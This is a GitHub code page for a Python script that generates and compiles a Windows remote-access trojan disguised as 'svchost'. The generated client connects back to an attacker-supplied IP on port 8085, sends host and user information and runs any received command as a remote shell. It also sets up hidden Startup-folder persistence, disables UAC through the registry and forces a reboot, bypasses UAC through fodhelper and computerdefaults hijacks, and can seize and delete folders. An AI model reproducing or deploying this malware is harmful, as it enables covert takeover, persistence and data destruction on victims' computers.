-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathGen_client.py
147 lines (147 loc) · 5.97 KB
/
Gen_client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
from subprocess import getoutput
from os import system,environ
from sys import exit
__author__="Vahab Programmer https://Github.com/Vahab-Programmer"
__version__="0.0.1"
def nuitka()->None:
ip_address=str(input("Server IP:"))
with open("svchost.py","w") as file:
file.write(buf%ip_address)
environ["CCFLAGS"]="-O3"
system("nuitka .\\svchost.py --mode=accelerated --mode=onefile --remove-output --windows-console-mode=disable --include-data-files=.\\run.exe=.\\run.exe")
exit(0)
buf=r'''from platform import node,release,machine,processor
from ctypes import windll
from pickle import dumps
from subprocess import getoutput,call
from sys import exit,argv
from os import chdir,environ,system as run
from os.path import basename
from socket import socket,AF_INET,SOCK_STREAM
from shutil import copyfile
from winreg import OpenKeyEx,HKEY_LOCAL_MACHINE,KEY_WRITE,SetValueEx,REG_DWORD,CloseKey
from psutil import process_iter,AccessDenied
def process_is_double(target:str=argv[0])->bool:
exists=False
process = 0
if argv[0] == target:
for i in process_iter():
try:
if i.exe() == target:
process +=1
except AccessDenied:pass
return (process >1)
for i in process_iter():
try:
if i.name() == basename(target):exists=True
if i.exe() == target:process +=1
except AccessDenied:pass
return exists and process >1
def process_is_exists(target:str)->bool:return target in (i.name() for i in process_iter())
def split(target:str,tstr:str)->str:
new_chars=[]
for i in tstr.lower().split():
if i.lower() !=target.lower():new_chars.extend([i," "])
return "".join(new_chars).rsplit(" ")[0]
def connect()->None:
global s
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(999999)
try:
s.connect(addr)
s.send(dumps({"node":node(),"release":release(),"machine":machine(),"processor":processor(),"admin":windll.shell32.IsUserAnAdmin(),"username":environ.get("username")}))
except TimeoutError:connect()
except ConnectionRefusedError:connect()
def CYS()->None:
copyfile(argv[0],(r"C:\Users\{}\Documents\\"+basename(argv[0])).format(environ["username"]))
with open(r"C:\Users\{}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.bat".format(environ["username"]), "w") as file:
file.write("""@Echo off
start C:\\Users\\{0}\\Documents\\{1}
exit""".format(environ["username"], basename(argv[0])))
run("attrib +s +h +r C:\\Users\\"+environ["username"]+"\\Documents\\"+basename(argv[0]))
run("attrib +s +h +r \"C:\\Users\\{}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\start.bat\"".format(environ.get("username")))
def LUA_OFF()->None:
key = OpenKeyEx(HKEY_LOCAL_MACHINE,r"SOFTWARE\Microsoft\Windows\CurrentVersion\\Policies\\System", 0, KEY_WRITE)
SetValueEx(key,"EnableLUA",0,REG_DWORD,0)
CloseKey(key)
CYS()
call("shutdown /r /f /t 0")
exit(0)
def computerdefaults(target:str=argv[0])->None:
target = target + ".exe" if target.split(".")[-1] != "exe" else target
ms_reg = r"Software\Classes\ms-settings\shell\open\command"
if argv[0] == target:
while not process_is_double():call(f"run {target} {ms_reg} computerdefaults.exe")
return None
while not process_is_exists(basename(target)):call(f"run {target} {ms_reg} computerdefaults.exe")
def fodhelper(target:str=argv[0])->None:
target= target+".exe" if target.split(".")[-1] !="exe" else target
ms_reg = r"Software\Classes\ms-settings\shell\open\command"
if argv[0] == target:
while not process_is_double():
call(f"run {target} {ms_reg} fodhelper.exe")
return None
while not process_is_exists(basename(target)):
call(f"run {target} {ms_reg} fodhelper.exe")
process_is_exists(basename(target))
def FDR(target:str)->None:
run(f"takeown /D Y /R /F {target}")
run("icacls {target} /T /C /grant {}:(F,MA)".format(environ["username"]))
run(f"rmdir /S /Q {target}")
addr=("%s",8085)
connect()
while True:
try:
cmd=s.recv(20971520).decode()
lcmd=cmd.lower()
if "cd" in cmd and len(cmd) >2:
chdir(split("cd",cmd))
s.send(b"success")
continue
if "exit" in cmd:exit(0)
if "lua" in lcmd:
s.send("success".encode())
LUA_OFF()
continue
if "computerdefaults" in lcmd and len(lcmd) <17 :
computerdefaults()
s.send("success".encode())
continue
if "computerdefaults" in lcmd:
computerdefaults(split("computerdefaults",cmd)[-1])
s.send("success".encode())
continue
if "fodhelper" in lcmd and len(lcmd) <10 :
fodhelper()
s.send("success".encode())
continue
if "fodhelper" in lcmd:
fodhelper(split("fodhelper",cmd))
s.send("success".encode())
continue
if "cys" in lcmd:
CYS()
s.send("success".encode())
continue
if "fdr" in lcmd and len(lcmd) >3:
FDR(split("fdr",cmd))
s.send("success".encode())
continue
if "refresh" in lcmd:
s.send("success".encode())
continue
if "executable" in lcmd:
s.send(argv[0].encode())
continue
if "cmd /c start" in lcmd:
call(cmd)
s.send("success".encode())
continue
process=getoutput(cmd)
s.send(process.encode() if process else "success".encode())
except ConnectionResetError:connect()
except OSError:connect()'''
print("Checking For Nuitka")
nuitka_v=getoutput("nuitka --version").split()[0]
if len(nuitka_v)<7:nuitka()
else:print("You Don't Have Installed Nuitka!!\nYou Can Install It Using pip install Nuitka")